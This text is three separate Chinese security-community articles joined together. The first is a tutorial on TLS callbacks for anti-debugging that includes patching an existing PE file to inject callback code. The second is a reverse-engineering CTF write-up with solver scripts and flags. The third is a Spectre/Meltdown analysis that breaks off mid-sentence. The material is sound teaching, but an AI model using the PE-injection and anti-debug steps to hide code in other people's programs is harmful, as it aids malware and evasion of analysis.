首先简单介绍一下什么是TLS回调函数。前面有说到，在IMAGE_TLS_DIRECTORY中有一个成员AddressOfCallBacks中存储这指向TLS回调函数具体地址数组的指针，这里的的回调函数具体地址指的就是TLS回调函数。
TLS回调函数是指，每当创建/终止线程时会自动调用执行的函数（
**创建进程的主线程时也会自动调用回调函数，且回调函数的执行顺序是先于EP代码的执行，所以TLS回调函数的这个特性通常被用于反调试技术**
）由于是创建和终止线程时都会调用，所以在程序从打开到结束这个TLS回调函数会被执行两次。
## TLStest1.cpp：
下面先来看一段代码，初步了解一下TLS回调函数在编程中具体是如何使用的：
#include <windows.h>
#pragma comment(linker, "/INCLUDE:__tls_used") //告知链接器将要使用TLS功能
void NTAPI TLS_CALLBACK(PVOID DllHandle, DWORD Reason, PVOID Reserved) //TLS回调函数
{
if( IsDebuggerPresent() )
{
MessageBoxA(NULL, "Debugger Detected!", "TLS Callback", MB_OK);
ExitProcess(1);
}
}
#pragma data_seg(".CRT$XLX") //注册TLS回调函数
PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { TLS_CALLBACK, 0 };
#pragma data_seg()
int main(void)
{
MessageBoxA(NULL, "Hello :)", "main()", MB_OK);
}
首先要说的是TLS回调函数定义的具体模板写法，如下：
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK)
(
PVOID DllHandle,
DWORD Reason,
PVOID Reserved
);
这是回调函数的定义写法，但也可以向示例代码中那样直接写。
这里仔细观察回到函数的参数，会发现这个参数组成与DllMain的参数组成非常相似：
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
这两个函数参数的意义其实都是一样的：
* DllHandle（hinstDLL）：模块加载地址
* Reason（fdwReason）：TLS回调函数被调用的原因（DLL模块被加载的原因）
* Reserved（lpvReserved）：保留字段
这里的reason组成如下：
#define DLL_PROCESS_ATTACH 1
#define DLL_THREAD_ATTACH 2
#define DLL_THREAD_DETACH 3
#define DLL_PROCESS_DETACH 0
然后就是关于这个使用组合：
#pragma comment(linker, "/INCLUDE:__tls_used")
'
'
'
#pragma data_seg(".CRT$XLX")
PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { TLS_CALLBACK, 0 };
#pragma data_seg()
这个就是在编程时启用TLS功能并注册TLS回调函数的具体操作步骤，其中：
#pragma comment(linker, "/INCLUDE:__tls_used")
这一句是固定句式，告知链接器该程序将要启动TLS功能，后面的：
#pragma data_seg(".CRT$XLX")
PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { TLS_CALLBACK, 0 };
#pragma data_seg()
这一段中的data_seg告知链接器将TLS_CALLBACK放置于data数据段（共享数据段），而PIMAGE_TLS_CALLBACK是一个数组指针，这就是在设置前面提到的IMAGE_TLS_DIRECTORY结构体中AddressOfCallBacks的具体数值。
还有就是这个CRT，这个标识将采用C Runtime机制（运行时机制，具体可以再去了解），X表示名随机，L表示TLS callback
section，X可以替换为B~Y的任意字符。
上面这个写法其实在上一篇[文章](https://xz.aliyun.com/t/12018)中也有提到，也就是设置两个程序间可以进行交流的共享数据节区：
#pragma comment(linker,"/SECTION:.SHARE,RWS")
.
.
.
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = { 0, };
#pragma data_seg()
## 调试测试1：
现在来调试测试一下TLStest1.cpp这个程序，首先是直接运行：
这里只有这样一个窗口，但是当我们在调试器中运行这个程序时：
步进跟随这个程序，会发现程序出现的窗口与之前的窗口并不一样：
这是由于程序中的回调函数中有一个简单的反调试手段，程序调用了API函数IsDebuggerPresent判断程序当前是否处于调试状态，如果是的话就会弹出另一个窗口并退出程序。
（
**这里的调试器我是用的x32dbg，因为高版本的OD中自带了Anti_Anti_Debug功能，也就是反反调试，这里的反调试手段又比较简单可能会被直接kill掉，所以在调试TLS回调函数时要将Anti_Anti_Debug关掉**
）
## TLStest2.cpp：
下面这个程序将会更加直观的体现出TLS回调函数的执行过程即执行时间，具体源码如下：
#include <windows.h>
#pragma comment(linker, "/INCLUDE:__tls_used")
void print_console(char* szMsg)
{
HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
WriteConsoleA(hStdout, szMsg, strlen(szMsg), NULL, NULL);
}
void NTAPI TLS_CALLBACK1(PVOID DllHandle, DWORD Reason, PVOID Reserved) //回调函数1
{
char szMsg[80] = {0,};
wsprintfA(szMsg, "TLS_CALLBACK1() : DllHandle = %X, Reason = %d\n", DllHandle, Reason);
print_console(szMsg);
}
void NTAPI TLS_CALLBACK2(PVOID DllHandle, DWORD Reason, PVOID Reserved) //回调函数2
{
char szMsg[80] = {0,};
wsprintfA(szMsg, "TLS_CALLBACK2() : DllHandle = %X, Reason = %d\n", DllHandle, Reason);
print_console(szMsg);
}
#pragma data_seg(".CRT$XLX")
PIMAGE_TLS_CALLBACK pTLS_CALLBACKs[] = { TLS_CALLBACK1, TLS_CALLBACK2, 0 };
#pragma data_seg()
DWORD WINAPI ThreadProc(LPVOID lParam) //线程函数
{
print_console("ThreadProc() start\n");
print_console("ThreadProc() end\n");
return 0;
}
int main(void)
{
HANDLE hThread = NULL;
print_console("main() start\n");
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //创建线程
WaitForSingleObject(hThread, 60*1000); //等待线程执行
CloseHandle(hThread);
print_console("main() end\n");
return 0;
}
程序构造不复杂这里就不过多赘述，主要提一下这个程序中为什么没有使用printf来打印文本：
这是由于在开启C
Runtime机制且编译选择/MT的情况下，TLS函数在首次加载进程序时可能是无法调用printf函数的，所以这里用API：WriteConsole()来代替，这个API函数的功能是从当前光标位置开始将字符串写入控制台屏幕缓冲区。
在命令行窗口中执行这个程序：
根据这里的Reason值可以直观的看见TLS回调函数被执行的时间点：主线程创建时（DLL_PROCESS_ATTACH），子线程创建时（DLL_THREAD_ATTACH），子线程结束时（DLL_THREAD_DETACH），主线程结束时（DLL_PROCESS_DETACH）
# 修改PE文件添加TLS回调函数
首先可以先随意编写一个简单的程序，并将其编译成可执行文件，比如这里示例就是编写了一个简单的弹窗程序：
#include "windows.h"
void main()
{
MessageBoxA(NULL, "Hello :)", "main()", MB_OK);
}
之后使用十六进制编辑器打开这个PE文件，然后就可以任意修改这个PE文件的构造了。
## 设计规划：
直接修改PE文件是比较复杂的，所以要先规划好修改的思路。首先要关心的将要添加的数据放在哪儿的问题。
这里主要有三种方法：
1. 添加到某个节区末尾的空白区域
2. 增大最后一个节区的大小创造出“空白区域”
3. 添加新的节区
这里由于我们要插入一个IMAGE_TLS_DIRECTORY结构体以及TLS回调函数的代码，所以第一个方法不太适用（因为不一定能找到合适大小的空白区域），第三个方法需要修改的东西很多且操作比较复杂，所以这里选择第二种方法：增大最后一个节区的大小。
在找到存放插入数据的空白区域后就要启动程序中的TLS功能，由于这个功能的开关是由IMAGE_OPTION_HEADER中的IMAGE_DATA_DIRECTORY
TLSDirectory控制的，所以要在这里设置指向IMAGE_TLS_DIRECTORY的指针。
然后就是到增加的新的空白区域中编辑IMAGE_TLS_DIRECTORY结构体以及对应TLS回调函数的具体代码
### 扩展节区：
根据PE文件的结构知识，一个节区的具体大小是由IMAGE_SECTION_HEADER中的成员数据来决定的，所以要先找到最后一个节区的节区头如下：
在这里将SizeOfRawData的值修改为400h（注意由于这个文件中的File
Alignment是200，所以节区的实际大小要是200的整数倍，也就是要注意文件对齐），又因为将要在新增添的节区中插入TLS回调函数的实际代码，所以要将节区的属性进行修改，我们需要增添以下属性：
IMAGE_SCN_CNT_CODE 00000020 该节区存在可执行代码
IMAGE_SCN_MEM_EXECUTE 20000000 该节区可执行
IMAGE_SCN_MEM_WRITE 80000000 该节区可写
讲这些属性对应的数值加到原来的属性上即可得到新的属性值：E00000060，这里总的修改如下：
### 设置数据目录：
这里就是设置可选头中的数据目录来开启该程序的TLS功能，首先找到可选头中的数据目录的对应位置，即：IMAGE_DATA_DIRECTORY
TLSDirectory，如下：
这里由于没有开启TLS功能所以该数据目录中的值都为0，由于我们要将IMAGE_TLS_DIRECTORY结构体添加到文件的最后位置上，所以就将这里的指针指向文件末尾（RVA为0x9200，FOA为C200），所以将这里修改为C200，IMAGE_TLS_DIRECTORY结构体的大小为0x18，所以将Size成员修改为0x18，总的修改如下：
### 设置IMAGE_TLS_DIRECTORY结构体：
现在来到文件末尾添加IMAGE_TLS_DIRECTORY结构体。首先要向文件中再插入0x200个空字节（
**一定要插入0x200个，不能直接修改后保存，因为要考虑文件对齐的问题** ），然后再来看一下IMAGE_TLS_DIRECTORY结构体的成员组成：
typedef struct _IMAGE_TLS_DIRECTORY32 {
DWORD StartAddressOfRawData;
DWORD EndAddressOfRawData;
DWORD AddressOfIndex; // PDWORD
DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *
DWORD SizeOfZeroFill;
union {
DWORD Characteristics;
struct {
DWORD Reserved0 : 20;
DWORD Alignment : 4;
DWORD Reserved1 : 8;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} IMAGE_TLS_DIRECTORY32;
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;
本次修改中各个成员对应的值如下：
这里的TLS回调函数先设置为C2 0C，这段数据翻译为汇编指令就是：RETN
0C，由于TLS回调函数的参数总共有三个，总大小为0xC个字节，这里等于是TLS函数没有进行任何操作直接返回，不会影响程序的正常运作。
由于本PE文件的ImageBase是0x40000000，这个节区的VA是C000，所以这里的数据都是以04C2开头的
到此全部修改完毕，保存修改后直接打开这个程序观察一下：
程序是可以正常执行的。
### 设置TLS回调函数代码：
现在就只需要将TLS回调函数的具体代码写入文件即可，首先用调试器打开这个程序，然后根据前面的数据（40C200）可以定位到我们新添加的节区的空白部分：
然后只需要利用调试器的汇编指令功能编写指令即可：
**注意，编写指令的位置是40C230（根据前面编写的IMAGE_TLS_DIRECTORY结构体中的成员数据定位）**
这里简单说一下这些指令的功能，首先：
这组指令是获取TLS回调函数的第三个参数（Reason），确定加载原因（这里是1，所以就是当DLL_PROCESS_ATTACH时加载）
然后是：
这组指令是获取PEB.BeingDebugged成员，并比较其是否为0（即判断程序是否处于调试状态），如果不是则直接跳转至TLS回调函数结束。
最后就是如果判断是处于调试状态的话：
正常的传参以及调用MessageBoxA和ExitProcess，其中MessageBoxA的字符串参数放在40C270和40C280处。
**特别注意：这里调用MessageBoxA和ExitProcess一定要调用IAT中的指针，不能直接去call
user32.dll中的函数实际地址（因为不符合正常的导入函数调用规则）**
这里IAT表中的实际地址可以使用PE查看器进行查找：
MessageBoxA：
ExitProcess：
最后将修改保存至PE文件即可。
### 测试运行：
将修改后的程序用调试器打开，在添加的TLS回调函数代码处打下断点后F9运行到这里：
然后步进运行观察：
可以得到预期中带有文本的弹窗。
# 参考资料：
《逆向工程核心原理》 [韩] 李承远 | 社区文章 |
# 2020太湖杯Reverse Writeup及复盘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
>
> 由于个人原因没有参加这次的太湖杯，赛后花时间复盘了一下，感觉还学到挺多知识的吧。写这篇文章时，网上还没有公开的Writeup，故分享一下供大家一起学习交流。
题目链接方便大家复盘：<https://github.com/Prowes5/CTF-Reverse-Program/tree/master/202011%E5%A4%AA%E6%B9%96>
## 0x00 easy_app
> 知识点：安卓逆向、base64、Tea算法
基础的安卓逆向，主要逻辑在native的so下。有一个check函数。
判断输入的flag格式是否为flag{}，且长度是否等于38。
check1函数进行第一次转换，去掉flag格式，将输入分成两组，一组16个字符。
将前十六位的高四位和后十六位的低四位组合存放到后十六位，将后十六位的高四位和前十六位的低四位组合存放到前十六位。举例
31 32 33.....
64 65 66.....
变换后：
61 62 63.....
34 35 36.....
之后在分成4组进行tea加密，key这里运行时候被修改了，正确的应该是`0x42,0x37,0x2c,0x21`。
之后进行换表base64加密，这个有一个点就是，base64_encode中不止包括了base64加密，还有移位操作。将编码之后的base64，每三位循环向左移动，第四位做分隔符不变。举例
12345678
23146758
从文件中找base64的表为`abcdefghijklmnopqrstuvwxyz!@#$%^&*()ABCDEFGHIJKLMNOPQRSTUVWXYZ+/`。
所有算法反推回去就是flag，由于多个运算组合，没有合到一个脚本。懒狗。
## 0x01 baby_arm
> 知识点：arm平台逆向，花指令
拿到的bin文件是arm架构下小端序的文件，arm逆向其实已经很常见了，也没有什么稀奇的，而且对于IDA已经很早之前就支持了对arm的F5，逆向起来也很容易。
用IDA加载一下，发现main函数的地方没有被解析为代码，更别说识别为函数和之后的F5了。
手动变成代码也不行。一开始在想会不会arm的某个版本，而IDA没有支持？
看了下字符串，发现一些交互的字符串，而且发现有很奇怪的一串字符，这里猜测可能是一个迷宫？
qemu模拟跑一下，发现报一个非法指令的错误？很奇怪
在放到ghidra里看一下。
发现是可以反编译成功的，不过有一个需要注意的点，也是这个题目的关键，途中圈住的这条指令，地址是标红的。想要去看下这个地址存放的是什么，发现不存在这个地址，这时候想到，会不会是类似于花指令之类的脏数据。于是切换到IDA中，把这条指令nop掉，发现就可以进行反编译了，而且qemu可以执行。wtf？
之后就比较简单了。看一下伪代码。
大致输入25位长度的flag，不包括\n，所以代码是26次循环。分成两部分，每一部分长度为0xD。
第一部分验证就是会mmap创建一块儿内存dest，之后再将init修改之后的0x21088内存拷贝到dest处。之后再进行一次SMC，修改过后的代码，`0x21088`处为`+`，`0x210c8`处为`-`，`0x21108`处为`xor`。之后会通过取余3的方式，轮流调用这三个函数进行计算再进行比较。
>>> cip = [0x63,0xd2,0xfe,0x4f,0xb9,0xd9,0x00,0x3f,0xa0,0x80,0x43,0x50,0x55]
>>> key = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3,0x11, 0x2A, 0x35, 0xF6]
>>> flag = ''
>>> for i in range(len(cip)):
... if i%3 == 0:
... flag += chr((cip[i]-key[i])&0xff)
... elif i%3 == 1:
... flag += chr((cip[i]+key[i])&0xff)
... else:
... flag += chr(cip[i]^key[i])
接下来再看第二部分，很明显之后的v4和v5都是两个函数，用来改变刚才说的地图。做为懒狗的我直接动态，把地图从内存中dump下来。
******
* E*
* ****
* ****
* ****
* *
大致为这个样子，是一个6*6的地图。之后进入sub_10770函数。
signed int __fastcall sub_10770(int a1, int a2)
{
int v4; // [sp+Ch] [bp-20h]
int v5; // [sp+10h] [bp-1Ch]
int v6; // [sp+14h] [bp-18h]
char v7; // [sp+18h] [bp-14h]
int i; // [sp+1Ch] [bp-10h]
int v9; // [sp+20h] [bp-Ch]
int v10; // [sp+24h] [bp-8h]
v10 = 4;
v9 = 1;
v4 = 0x41203E53;
v5 = 0xB242C1E;
v6 = 0x52372836;
v7 = 0xE;
for ( i = 0; i <= 0xC; ++i )
{
*(a2 + i) ^= *(&v4 + i);
switch ( *(a2 + i) )
{
case 'a':
--v10;
break;
case 'b':
case 'c':
case 'e':
case 'f':
case 'g':
case 'h':
case 'i':
case 'j':
case 'k':
case 'l':
case 'm':
case 'n':
case 'o':
case 'p':
case 'q':
case 'r':
case 't':
case 'u':
case 'v':
break;
case 'd':
++v10;
break;
case 's':
++v9;
break;
case 'w':
--v9;
break;
}
if ( *(a1 + 6 * v9 + v10) == '*' )
{
puts("Boom!!!");
return 0;
}
}
return 1;
}
可以看到是通过wasd来操作的，起始位置在E处，但并不是输入wasd，而且输入通过xor得到wasd来操作，问题不大，我们得到操作xor回去就可以。
>>> key = 'aaassssddd'
>>> cip2 = [0x53,0x3e,0x20,0x41,0x1e,0x2c,0x24,0xb,0x36,0x28,0x37,0x52,0xe]
>>> for j in range(len(key)):
... flag += chr(ord(key[j])^cip2[j])
...
>>> flag
'flag{welcome_2_A2m_WoRL'
但这里很明显长度不够也不知道还要往哪继续走了，没有继续的动态确定，懒。通过flag意思也可以猜到后两位是`D}`。
这题有想吐槽的点，总结时候说。
## 0x02 climb
> 知识点：调试dmp，Hook，DLL隐藏调用，动态规划算法
这题我感觉是三个re题目中最好的一个题目，也学习到了很多东西吧。
首先题目没有给出二进制可执行文件，只给了一个崩溃dmp文件和pdb符号文件。这时候就可以想到windbg是可以调试dmp的，而且pdb也可以进行辅助调试。直接上windbg，自动分析一下，会跳到最后的状态。查看一下调用堆栈。
可以看到main函数，直接跳到main函数审汇编代码。大概流程就是会加载资源，获取资源的大小之类的。之后值得注意的一部分代码是这个部分。
`Detours`是微软的一个库，用来做hook使用，那么这里就是hook了某个API。接着看就可以看到是用`NewLockResource`去代替了`LockResource`函数，之后调用了`LockResource`函数。切换到`NewLockResource`函数。
进入NewLockResource函数的第一时间就调用了原生的LockResource函数，继续向下看。
在这个地方可以看到一个循环异或0x76的操作，函数也结束了。
之后回到main函数，逻辑就是卸载hook，调用LoadRemoteLibraryR函数。
当时没有去注意LoadRemoteLibraryR函数，其实到这个部分已经不知道要干什么了，因为到现在，虽然大致逻辑都理清楚了，都没有发现一点儿和flag有关的痕迹。只有一个异或0x76的信息，怀疑会不会flag就在文件中，直接异或0x76之后就显示出来。将flag的ASCII码与`0x76`异或，得到`101a1711`。在文件中查找这串十六进制。
可以在0x17698B偏移处找到，将后边这一些复制出来解码，发现是flag{%s}。
而周围都是0x76，猜想会不会这是一个PE文件。如果是PE文件的话，得有Magic，也就是0x4d5a。但为了防止数据太短，造成其他数据带来的混淆，决定使用`This
program cannot be run in DOS mode`，编码之后为
`221e1f05560604191104171b5615171818190256141356040318561f1856323925561b191213`。这样就可以找到PE文件的头偏移为`0x1739F6`，一直向下，碰到xml的部分就是尾。
提取出来进行解码得到PE文件，加载到IDA中，看到DLLMain发现是一个DLL。就知道了源程序的流程是解密了资源段成为dll，并调用了这个DLL。和当年的`WannaCry`一个手法。
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
__int64 v3; // r15
int *v4; // rsi
__int64 v5; // rdi
int *v6; // rbx
__int64 v7; // rbp
if ( fdwReason == 1 )
{
v4 = &dword_1800059AC;
v5 = 1i64;
do
{
if ( v5 >= 1 )
{
v6 = v4;
v7 = v5;
do
{
++v6;
*(v6 - 1) = rand() % 0xFFF;
--v7;
}
while ( v7 );
}
++v5;
v4 += 0xC2;
}
while ( v4 < &unk_18002A2B4 );
sub_180001150(v3);
}
return 1;
}
DLLMain主要是通过rand生成伪随机数，来生成一个193阶的数字三角形。之后调用sub_180001150函数。
进入这个函数加上上边生成的数字三角形，就可以大致知道这个题目最终是让干什么了。要求输入192位并且只能输入0和1，0代表向左，1代表向右，从而找到路过的数字和最大的那条路径。简单动态验证一下，发现确实和想的一样。里边是一个VM，不是很难，用到的只有几个指令。
现在的重点就是如何找到最长路径，之前见过这样的题目，是使用dfs来遍历，而这次不行。193阶，无论是递归还是非递归都会很慢。在咨询了Mini-Venom的各位师傅后，`逍遥师傅`和`luckyu师傅`都说可以用dp，也就是动态规划。我是fw，不懂算法，不过问题不大，硬着头皮写就行了。
#include<stdio.h>
#include<Windows.h>
int data[193][193];
int dp[193][193];
char f[193];
int main() {
int i, j, k;
for (i = 0; i < 193; i++) {
for (j = 0; j <= i; j++) {
data[i][j] = rand() % 0xfff;
}
for (k = j + 1; k < 193; k++) {
data[i][k] = 0;
}
}
int n = 193;
for (int i = 0; i < n; i++) //数组打底工作
dp[n - 1][i] = data[n - 1][i];
for (int i = n - 2; i >= 0; i--) {
for (int j = 0; j <= i; j++) {
dp[i][j] = (dp[i + 1][j] + data[i][j]) > (dp[i + 1][j + 1] + data[i][j]) ? (dp[i + 1][j] + data[i][j]) : (dp[i + 1][j + 1] + data[i][j]);
}
}
printf("%d\n", dp[0][0]);
int tmp_j = 0;
for (int i = 1; i < n + 1; i++) {
if (dp[i][tmp_j + 1] > dp[i][tmp_j]) {
f[i - 1] = '1';
tmp_j = tmp_j + 1;
}
else {
f[i - 1] = '0';
}
}
for (int i = 0; i < 192; i++) {
printf("%c", f[i]);
}
printf("\n");
system("pause");
return 0;
}
最终得到的路径是000100001000010100100100001000000000000100011001110111111110100010000100000001111110100111000000101110100111110010011101011111111110100010000100100111111101000010000111111111001100000011011101。输入就可以拿到flag。
## 总结
re整体质量还挺不错的，感觉花时间去复盘也值了。唯一吐槽的一点就是arm，那部分脏数据不知道是什么，如果是花指令，那么感觉毫无意义。花指令本身是为了不影响程序运行的本身去对抗静态分析，现在加了这条指令都不能运行了，感觉有一种强行加知识点的感觉。当然，这只是我个人的想法，也可能我是自己本地环境不能去解析这一条指令，也可能题目作者的本意就不是加花指令。climb学到的东西还是挺多的，尤其是算法，还是得补充算法相关的知识啊。而easyapp就是一个比较基础的题目，动态调试一下就行。最后感谢Venom的师傅们的帮助。 | 社区文章 |
作者：[Yueqiang Cheng, Yulong Zhang, Yu Ding, Tao
Wei@百度安全实验室](http://mp.weixin.qq.com/s/Bdc58fRJO4nFzCHnO5WIYQ "Yueqiang Cheng,
Yulong Zhang, Yu Ding, Tao Wei@百度安全实验室")
#### 1\. 引言
最近Google Project Zero和一些独立安全研究人员发现了CPU芯片硬件层面执行加速机制，也就是乱序执行（out-of-orderexecution)和推测执行(speculative
execution)，会引起CPU缓存的污染，从而攻击者可以发起基于cache的侧信道攻击偷取数据。目前主要涉及到两种攻击方法，分别为Meltdown
[4] 和Spectre
[5]。Spectre涉及CVE编号CVE-2017-5753和CVE-2017-5715，而Meltdown涉及CVE编号CVE-2017-5754。
由于Meltdown和Spectre的攻击是针对CPU硬件的缺陷进行的攻击，因此它们的攻击范围特别广，存在于各种操作系统和云平台上。近20年的CPU/OS/VMM基本都受影响，包括从云端到桌面到移动，对业界产生巨大冲击。这一漏洞主要用于偷取隐私数据，包括口令、证书和其他保密数据，甚至完整的内存镜像。值得庆幸的是这些攻击不能修改数据。影响范围包括：
* CPU 处理器: 近二十年的 Intel、AMD、ARM 等处理器都有影响，其中对 Intel 的处理器的影响尤为严重；
* 操作系统: Windows、Linux、 Android、iOS和macOS等；
* 虚拟机管理器：KVM, Xen等。
本文主要关注Intel CPU
Meltdown和Spectre在不同场景下的攻击以及缓解措施，包括VMM和浏览器等场景。这些内容对AMD/ARM的攻防也有重要的借鉴价值。这些漏洞虽然影响广泛，但利用复杂，限制也很大。一方面，由于防护措施都是有成本的，本文给防护方提供一个指南，可以根据自己的场景来选择必要的防护措施；另一方面，我们希望通过本文，缓解目前被夸大的恐慌情绪，但本文也同时将指出一些没有被讨论过的组合攻击方式，这些攻击将有比标准攻击更加强大的威力。因此防护方不能掉以轻心，需要尽快部署相关防护措施。
#### 2\. 攻击的场景
Meltdown [4] 和Spectre [5]具体有三个变种：
* 变种1 (V1) Spectre: 绕过边界检查 (CVE-2017-5753)
* 变种2 (V2) Spectre: 分支预测注入 (CVE-2017-5715)
* 变种3 (V3) Meltdown: 乱序执行的CPU缓存污染 (CVE-2017-5754)
由于攻击的影响涉及了大量的云平台和操作系统，我们就不单独罗列具体版本，而是针对最典型的场景来描述如何防御这些攻击。
##### 典型的攻击场景
1.对虚拟机管理器 VMM 的攻击（A1）：攻击者在 VMM 管理的一个 VM 里 面，该攻击者完全的控制这个 VM，比如拥有这个VM
kernel级别的权限，可以直接与VMM进行交互。攻击者通过利用这些漏洞，可以获取VMM的敏感数据，或者获取同一物理主机下的其他VM内的数据；
2.对操作系统内核的攻击（A2）：攻击者是用户空间的一个应用程序，拥有任意的代码执行能力。攻击者通过利用这些漏洞，可以获取内核内的敏感数据，甚至包括内核缓冲区的文件或者网络数据；
* 浏览器对操作系统内核的攻击（A2w）：攻击者只能通过网站页面影响浏览器发起攻击，可以通过javascript，或者web assembly等机制;
3.对用户空间其他用户数据的攻击（A3）：攻击者是用户空间的一个应用程序，拥有任意的代码执行能力。攻击者通过利用这些漏洞，获取同一操作系统下的其他进程的数据，包括跨docker的攻击；
* 浏览器对用户空间其他用户数据的攻击（A3w）：攻击者只能通过网站页面影响浏览器发起攻击，可以通过javascript，或者web assembly等机制。
##### V3c组合攻击
原始的V3攻击，将会产生page fault，可以被kernel感知到，从而可以通过host intrusion detectionsystem
(HIDS)进行探测。传统上，可以通过Intel TransactionalSynchronization Extensions
(TSX)来截获异常，避免产生kernel异常。然而由于TSX历史上的bug，很多云端服务器并不开启TSX，导致该方法并不普适。
我们经过实验后发现，可以将V3攻击置于V1/V2的预测执行路径上，由于这是预测执行，所以不会触发内核异常，但该预测执行依然会触发cache加载操作。即V1/V2->V3的这种攻击方式，可以完成V3攻击，但不会触发kernel能感知的页面异常，我们称之为V3c组合攻击。V3c组合攻击的发现意味着A2攻击场景下，要抵抗V3攻击，必须要打内核补丁。
#### 3\. 攻击的防御与缓解
针对上面的攻击场景，我们把所有可行的解决方案归纳总结到表1里面。其中在云平台上面，升级CPU微码需要VMM的协助，用户在自己的VM里面无法完成，除非VMM特别开放了这个功能。
表1：对虚拟机监控器和操作系统内核的攻击评估和防御方法。“不能*”指的是攻击者无法直接攻击其他进程，但是攻击者可以攻击内核获取数据来间接攻击（这个是A2）。
防护措施都是有成本的，防护方可以根据自己的场景来选择必要的防护措施。
公有云VMM的运营者，应该保障VMM不受恶意攻击，即A1层面的防护是必须要做到的，特别是V2攻击。使用Xen的厂商也要关注V3攻击的防御。
云上租户可以根据自己的需求进行防护。由于A2.V3防护的KPTI补丁有较为明显的性能损耗，所以如果云上租户在同一个VM内部没有数据敏感级别区隔，而且对性能要求较高，那么可以继续使用原始内核。如果云上租户在同一个VM内部有多级数据敏感区隔，而且可执行代码不固定，并能接受额外的性能损耗，那么推荐使用打了安全补丁的内核。
对于普通PC用户，最大的威胁来自于浏览器访问恶意网址以及感染上恶意代码。这些防护与传统PC安全没有太大的区别，及时升级即可。
#### 4\. 攻击能力分析
##### 1）Spectre攻击
Spectre攻击有两个变种，V1可以用于绕过内存访问的边界检查，V2可以通过分支预测注入（对CPU分值预测机制的干扰）来执行代码。
到2018年为止，几乎所有的计算机系统都收到Spectre攻击的影响，包括几乎所有的服务器、桌面电脑、笔记本和移动设备。特别的是，Spectre不仅影响Intel，还影响AMD和基于ARM的处理器
[8, 2]。Intel通过官方声明对Spectre攻击进行了回应。AMD则回应称，由于AMD处理器结构的不同
[1]，V2攻击对AMD处理器几乎是不可能的。
##### BoundsCheck Bypass - V1
V1攻击可以用于绕过内存访问的边界检查，核心是利用了推测执行可以执行条件分支语句之后的指令这一性质。攻击者可以利用V1攻击来执行特定的代码片段（gadget），获取其无权限获取的内存空间的内容。一个可被用于V1攻击的代码片段例子如：
图1：可以被V1利用的典型代码片段（gadget）。注意这里的x必须为攻击者能够影响，否则这个代码不可以被利用发起攻击。
这种方法恶意的利用了CPU的推测执行功能，在CPU做分支判断期间（数十个CPU
cycle内）在推测执行模式下执行if语句块内的部分。在V1攻击中，攻击者在推测执行的分支中恶意执行一个越界内存访问。虽然推测执行模式下的内存访问不会被最后真实执行，但是其访问的信息很有可能会被攻击者用其他的方法感知（例如使用基于时间的侧信道攻击）。此外，感知泄露到的内存内容还可以用于构造控制流劫持的exploit。
##### BranchTarget Injection - V2
V2攻击主要利用分支预测机制进行攻击。其主要思路利用CPU内部的间接跳转预测器（Indirect branch
predictor），在推测执行模式下执行特定代码片段。攻击者可以通过许多方法影响甚至控制间接跳转预测器的行为，使得间接跳转预测器会预测执行攻击者指定位置的代码，从而在推测执行下执行攻击者想要的代码片段。条件跳转指令可以分成两种：条件直接跳转和条件间接跳转。条件直接跳转很难被用于V2攻击，因为其跳转的目标位置代码通常是不可控的。条件间接跳转可以被用于V2攻击，因为其跳转的目标地址有可能被攻击者控制。攻击者通过控制条件间接跳转的目标位置，或是其目标位置的代码，使得跳转目标处的指令片段对于隐私数据（例如密钥、token等）有相当强的side-effect，再使用侧信道感知推测执行模式下产生的side-effect来推测隐私数据（密钥、token），从而完成攻击。由于不同的CPU的间接跳转预测器原理不同，因此对CPU的间接跳转预测器进行干扰、注入的方法也各不相同。此外，超线程模式下，跑在同一个CPU核心上的两个线程和间接跳转预测器之间也有相当复杂的关系，也有可能参与到V2攻击中。
##### 关于ASLR
为了完成攻击，攻击者需要在污染指令的虚拟地址（Virtual
Address）上与被攻击目标的虚拟地址满足一定的约束，从而污染目标的预测分支。因此，理论上如果有完善的地址空间随机化（ASLR），那么攻击者很难有效的完成攻击。但是由于现有ASLR机制经常有信息泄露，因此攻击者在对目标系统进行充分研究后，往往有机会构造出成功的漏洞利用代码。为了进行有效的防护，往往需要更细粒度、更安全的ASLR防护。
##### 关于预测执行中的内存加载时延
预测执行的时间是有限的，比如V1只有数十个CPU Cycle。而攻击目标的内存数据如果不在cache里，很有可能从DRAM中加载目标数据就不止数十个CPU
Cycle，从而无法在时间限制内完成完整的攻击流程。
针对这种情况，攻击者可能可以简单的发起多次攻击。前次攻击虽然无法完成完整的攻击流程，但会将目标内存数据加载进Cache，从而使得后继的攻击不用再阻塞在内存加载上。但是这个可能性还未被确认成功，现有的PoC也无法对任意内核地址进行攻击以获得成功。
##### 2）Meltdown攻击 - V3
V3攻击可以被用于从用户态读取内核态数据。通常来说，如果用户态程序直接访问内核的内存区域会直接产生一个页错误（由于页表权限限制）。然而，在特定条件下，攻击者可以利用推测执行机制来间接获取内核内存区域的内容。例如，在某些实现中，推测执行的指令序列会将缓存在L1
Cache中的数据传递给随后的指令进行操作（并影响Cache状态）。这会导致用户态程序能通过Cache侧信道的方式推测得到内核态数据。需要注意的是该攻击只限于已被内核分配页表的内存（在页表里被标为supervisor-only），被标为not present的内存区域是不能被攻击的。
Meltdown漏洞主要影响Intel处理器，而对AMD处理器几乎无效。Intel声明该缺陷几乎影响其发售的所有处理器，AMD则声称其处理器并不存在此缺陷
[7]。ARM声称主流的ARM处理器不受该漏洞影响，并发布了一份受影响的处理器列表。然而ARM的Cortex-A75处理器直接受Meltdown漏洞影响，同时Cortex-A57、Cortex-A72受到Meltdown漏洞变种的影响
